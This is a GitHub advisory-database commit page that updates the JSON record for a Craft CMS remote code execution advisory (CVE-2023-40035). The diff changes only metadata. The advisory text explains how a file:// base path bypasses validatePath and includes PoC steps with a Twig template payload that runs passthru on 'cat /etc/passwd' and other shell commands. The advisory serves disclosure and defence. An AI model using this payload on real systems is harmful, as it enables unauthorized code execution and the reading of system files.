Skip to content

Commit 65c4c75

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-44wr-rmwq-3phw GHSA-f3cw-hg6r-chfv GHSA-56jp-w6vw-j3jw
1 parent e75403a commit 65c4c75

File tree

3 files changed

+6
-5
lines changed

3 files changed

+6
-5
lines changed

‎advisories/github-reviewed/2023/08/GHSA-44wr-rmwq-3phw/GHSA-44wr-rmwq-3phw.json‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-44wr-rmwq-3phw",
4-
"modified": "2023-08-23T22:14:58Z",
4+
"modified": "2025-07-16T21:00:57Z",
55
"published": "2023-08-21T19:58:04Z",
66
"aliases": [
77
"CVE-2023-40035"
88
],
99
"summary": "Craft CMS vulnerable to Remote Code Execution via validatePath bypass",
10-
"details": "### Summary\nBypassing the validatePath function can lead to potential Remote Code Execution\n(Post-authentication, ALLOW_ADMIN_CHANGES=true)\n\n### Details\n\nIn bootstrap.php, the SystemPaths path is set as below.\n```php\n// Set the vendor path. By default assume that it's 4 levels up from here\n$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);\n\n// Set the \"project root\" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.\n$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);\n\n// By default the remaining directories will be in the base directory\n$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? \"$rootPath/.env\";\n$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? \"$rootPath/config\";\n$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? \"$rootPath/migrations\";\n$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? \"$rootPath/storage\";\n$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? \"$rootPath/templates\";\n$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? \"$rootPath/translations\";\n$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? \"$rootPath/tests\";\n```\n\nBecause paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()\n```php\n /**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\n public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n {\n // Make sure it’s not within any of the system directories\n $path = FileHelper::absolutePath($this->getRootPath(), '/');\n\n $systemDirs = Craft::$app->getPath()->getSystemPaths();\n\n foreach ($systemDirs as $dir) {\n $dir = FileHelper::absolutePath($dir, '/');\n if (str_starts_with(\"$path/\", \"$dir/\")) {\n $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));\n break;\n }\n }\n }\n```\n\nref. https://www.php.net/manual/en/wrappers.file.php\n\n\n\n### PoC\n1) Create a new filesystem. **Base Path: file:///var/www/html/templates**\n\n![1](https://user-images.githubusercontent.com/30969523/249252853-5cde9bae-9279-428a-972b-d4444c545819.png)\n\n\n2) Create a new asset volume. Asset Filesystem: local_bypass\n\n![2](https://user-images.githubusercontent.com/30969523/249256711-e37da7f8-52d6-4ecc-bfc4-b9b9d8a2230d.png)\n\n\n3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates\n```twig\n{{'<pre>'}}\n{{1337*1337}}\n{{['cat /etc/passwd']|map('passthru')|join}}\n{{['id;pwd;ls -altr /']|map('passthru')|join}}\n```\n![3](https://user-images.githubusercontent.com/30969523/249256731-8dafc3dc-4937-4f69-bba0-97bc96be1ada.png)\n![4](https://user-images.githubusercontent.com/30969523/249257369-54e22aff-3919-4a21-b696-a7be74086ff9.png)\n\n\n4) Create a new route. URI: * , Template: poc.ttml\n\n![5](https://user-images.githubusercontent.com/30969523/249257437-972ec725-8197-4472-9b57-750ab91d9bfd.png)\n\n\n5) Confirm RCE on arbitrary path ( /* )\n\n![6](https://user-images.githubusercontent.com/30969523/249257465-061dbaf8-a2c6-4366-80f5-986a15bad748.png)\n\n\n#### PoC Env\n\n![0628 env](https://user-images.githubusercontent.com/30969523/249252784-6e5913ad-9ad1-4d3a-a70f-2c5ff9f55166.png)\n\n\n### Impact\nTake control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.\n\nalthough the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)\n",
10+
"details": "### Summary\nBypassing the validatePath function can lead to potential Remote Code Execution\n(Post-authentication, ALLOW_ADMIN_CHANGES=true)\n\n### Details\n\nIn bootstrap.php, the SystemPaths path is set as below.\n```php\n// Set the vendor path. By default assume that it's 4 levels up from here\n$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);\n\n// Set the \"project root\" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.\n$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);\n\n// By default the remaining directories will be in the base directory\n$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? \"$rootPath/.env\";\n$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? \"$rootPath/config\";\n$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? \"$rootPath/migrations\";\n$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? \"$rootPath/storage\";\n$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? \"$rootPath/templates\";\n$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? \"$rootPath/translations\";\n$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? \"$rootPath/tests\";\n```\n\nBecause paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()\n```php\n /**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\n public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n {\n // Make sure it’s not within any of the system directories\n $path = FileHelper::absolutePath($this->getRootPath(), '/');\n\n $systemDirs = Craft::$app->getPath()->getSystemPaths();\n\n foreach ($systemDirs as $dir) {\n $dir = FileHelper::absolutePath($dir, '/');\n if (str_starts_with(\"$path/\", \"$dir/\")) {\n $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));\n break;\n }\n }\n }\n```\n\nref. https://www.php.net/manual/en/wrappers.file.php\n\n\n\n### PoC\n1) Create a new filesystem. **Base Path: file:///var/www/html/templates**\n\n![1](https://user-images.githubusercontent.com/30969523/249252853-5cde9bae-9279-428a-972b-d4444c545819.png)\n\n\n2) Create a new asset volume. Asset Filesystem: local_bypass\n\n![2](https://user-images.githubusercontent.com/30969523/249256711-e37da7f8-52d6-4ecc-bfc4-b9b9d8a2230d.png)\n\n\n3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates\n```twig\n{{'<pre>'}}\n{{1337*1337}}\n{{['cat /etc/passwd']|map('passthru')|join}}\n{{['id;pwd;ls -altr /']|map('passthru')|join}}\n```\n![3](https://user-images.githubusercontent.com/30969523/249256731-8dafc3dc-4937-4f69-bba0-97bc96be1ada.png)\n![4](https://user-images.githubusercontent.com/30969523/249257369-54e22aff-3919-4a21-b696-a7be74086ff9.png)\n\n\n4) Create a new route. URI: * , Template: poc.ttml\n\n![5](https://user-images.githubusercontent.com/30969523/249257437-972ec725-8197-4472-9b57-750ab91d9bfd.png)\n\n\n5) Confirm RCE on arbitrary path ( /* )\n\n![6](https://user-images.githubusercontent.com/30969523/249257465-061dbaf8-a2c6-4366-80f5-986a15bad748.png)\n\n\n#### PoC Env\n\n![0628 env](https://user-images.githubusercontent.com/30969523/249252784-6e5913ad-9ad1-4d3a-a70f-2c5ff9f55166.png)\n\n\n### Impact\nTake control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.\n\nalthough the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",

0 commit comments

Comments
 (0)